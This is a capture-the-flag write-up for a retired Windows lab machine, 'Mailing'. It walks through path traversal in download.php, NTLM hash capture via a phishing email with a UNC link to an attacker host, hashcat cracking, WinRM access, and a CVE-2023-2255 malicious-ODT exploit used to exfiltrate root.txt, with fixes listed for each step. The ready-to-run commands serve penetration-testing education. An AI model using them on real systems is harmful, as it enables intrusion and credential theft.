Mailing
Summary
Target mailing ($TARGET, Windows Server 2019) ran an IIS 10.0 web application and a full hMailServer mail stack. A path-traversal flaw in the site's download.php endpoint let me read the hMailServer INI configuration file, fingerprinting the installed software and leaking a crackable admin password hash.
The real foothold came from NTLM coercion: an email containing a UNC moniker link was sent to the server's mailbox via SMTP; the Windows mail client automatically resolved the UNC path, and a Responder listener captured user maya's NetNTLMv2 hash. Hashcat cracked it to the plaintext password [REDACTED: recovered credential], which validated over WinRM for an interactive shell and access to the user flag.
Privilege escalation chained two weaknesses: a world-writable network share (C:\ProgramData\UpdateMonitor, exposed as SMB share 'Important') was periodically opened by a background process running as the privileged localadmin account, and LibreOffice 7.4 on the server was unpatched for CVE-2023-2255, a flaw allowing embedded Basic macros in crafted ODT documents to execute silently on open. Dropping a malicious ODT into the share caused the watcher to execute my own command as localadmin; iterating payloads confirmed blind code execution and ultimately exfiltrated root.txt back through the same share, completing full system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD3="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
nmap -sV -sC -p- --min-rate 5000 $TARGET -oN nmap_full.txtecho "$TARGET mailing.htb" | sudo tee -a /etc/hostscurl -s -H 'Host: mailing.htb' "http://$TARGET/"Exact commands 2
curl -s -H 'Host: mailing.htb' "http://$TARGET/download.php?file=..%5c..%5c..%5c..%5c..%5c..%5cProgram%20Files%20(x86)%5chMailServer%5cBin%5chMailServer.INI"curl -s -H 'Host: mailing.htb' "http://$TARGET/download.php?file=..%5c..%5c..%5c..%5c..%5c..%5cWindows%5cSystem32%5cdrivers%5cetc%5chosts"FixEliminate the path-traversal vulnerability in download.phpCritical
Exact commands 2
sudo responder -I tun0 -dwvswaks --server $TARGET --port 587 --to maya@mailing.htb --from $USERNAME@mailing.htb --header 'Subject: Action Required' --body '<a href="file:///\\\\$ATTACKER_IP\\share\\document.rtf">View document</a>' --add-header 'Content-Type: text/html'FixBlock outbound NTLM authentication to externally controlled serversHigh
Exact commands 2
cp /usr/share/responder/logs/SMB-NTLMv2-SSP-$TARGET.txt maya_hash.txthashcat -m 5600 maya_hash.txt /usr/share/wordlists/rockyou.txt --forceFixEnforce strong password requirements and protect credential storesHigh
Exact commands 3
nxc winrm $TARGET -u maya -p '$PASSWORD3'evil-winrm -i $TARGET -u maya -p '$PASSWORD3'type C:\Users\maya\Desktop\user.txtExact commands 3
nxc smb $TARGET -u maya -p '$PASSWORD3' --sharesGet-ChildItem C:\ProgramData\UpdateMonitor -Forceicacls C:\ProgramData\UpdateMonitorFixRestrict the UpdateMonitor drop folder to the owning service account onlyHigh
Exact commands 4
git clone https://github.com/elweth-sec/CVE-2023-2255 /tmp/CVE-2023-2255 && cd /tmp/CVE-2023-2255python3 CVE-2023-2255.py --cmd 'cmd.exe /c whoami > C:\IMPORT~1\out.txt' --output /tmp/probe.odtsmbclient //$TARGET/Important -U 'maya%$PASSWORD3' -c 'put /tmp/probe.odt probe.odt'smbclient //$TARGET/Important -U 'maya%$PASSWORD3' -c 'get out.txt'FixPatch LibreOffice and prevent privileged processes from opening untrusted documentsCritical
Exact commands 3
python3 CVE-2023-2255.py --cmd 'cmd.exe /c copy C:\Users\localadmin\Desktop\root.txt C:\IMPORT~1\r2.txt' --output /tmp/copy_root.odtsmbclient //$TARGET/Important -U 'maya%$PASSWORD3' -c 'put /tmp/copy_root.odt copy_root.odt'smbclient //$TARGET/Important -U 'maya%$PASSWORD3' -c 'get r2.txt'Attack patterns used
The transferable techniques behind this compromise.
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
Exposed services
| 25/tcp | smtp hMailServer smtpd |
| 80/tcp | http Microsoft IIS httpd 10.0 |
| 110/tcp | pop3 hMailServer pop3d |
| 135/tcp | msrpc Microsoft Windows RPC |
| 139/tcp | netbios-ssn Microsoft Windows netbios-ssn |
| 143/tcp | imap hMailServer imapd |
| 445/tcp | microsoft-ds? |
| 465/tcp | ssl/smtp hMailServer smtpd |
| 587/tcp | smtp hMailServer smtpd |
| 993/tcp | ssl/imap hMailServer imapd |
| 5040/tcp | unknown recon-sweep-discovered |
| 7680/tcp | pando-pub? |
| 49664/tcp | unknown recon-sweep-discovered |
| 49665/tcp | unknown recon-sweep-discovered |
| 49666/tcp | unknown recon-sweep-discovered |
| 49667/tcp | unknown recon-sweep-discovered |
| 49668/tcp | unknown recon-sweep-discovered |
| 50595/tcp | unknown recon-sweep-discovered |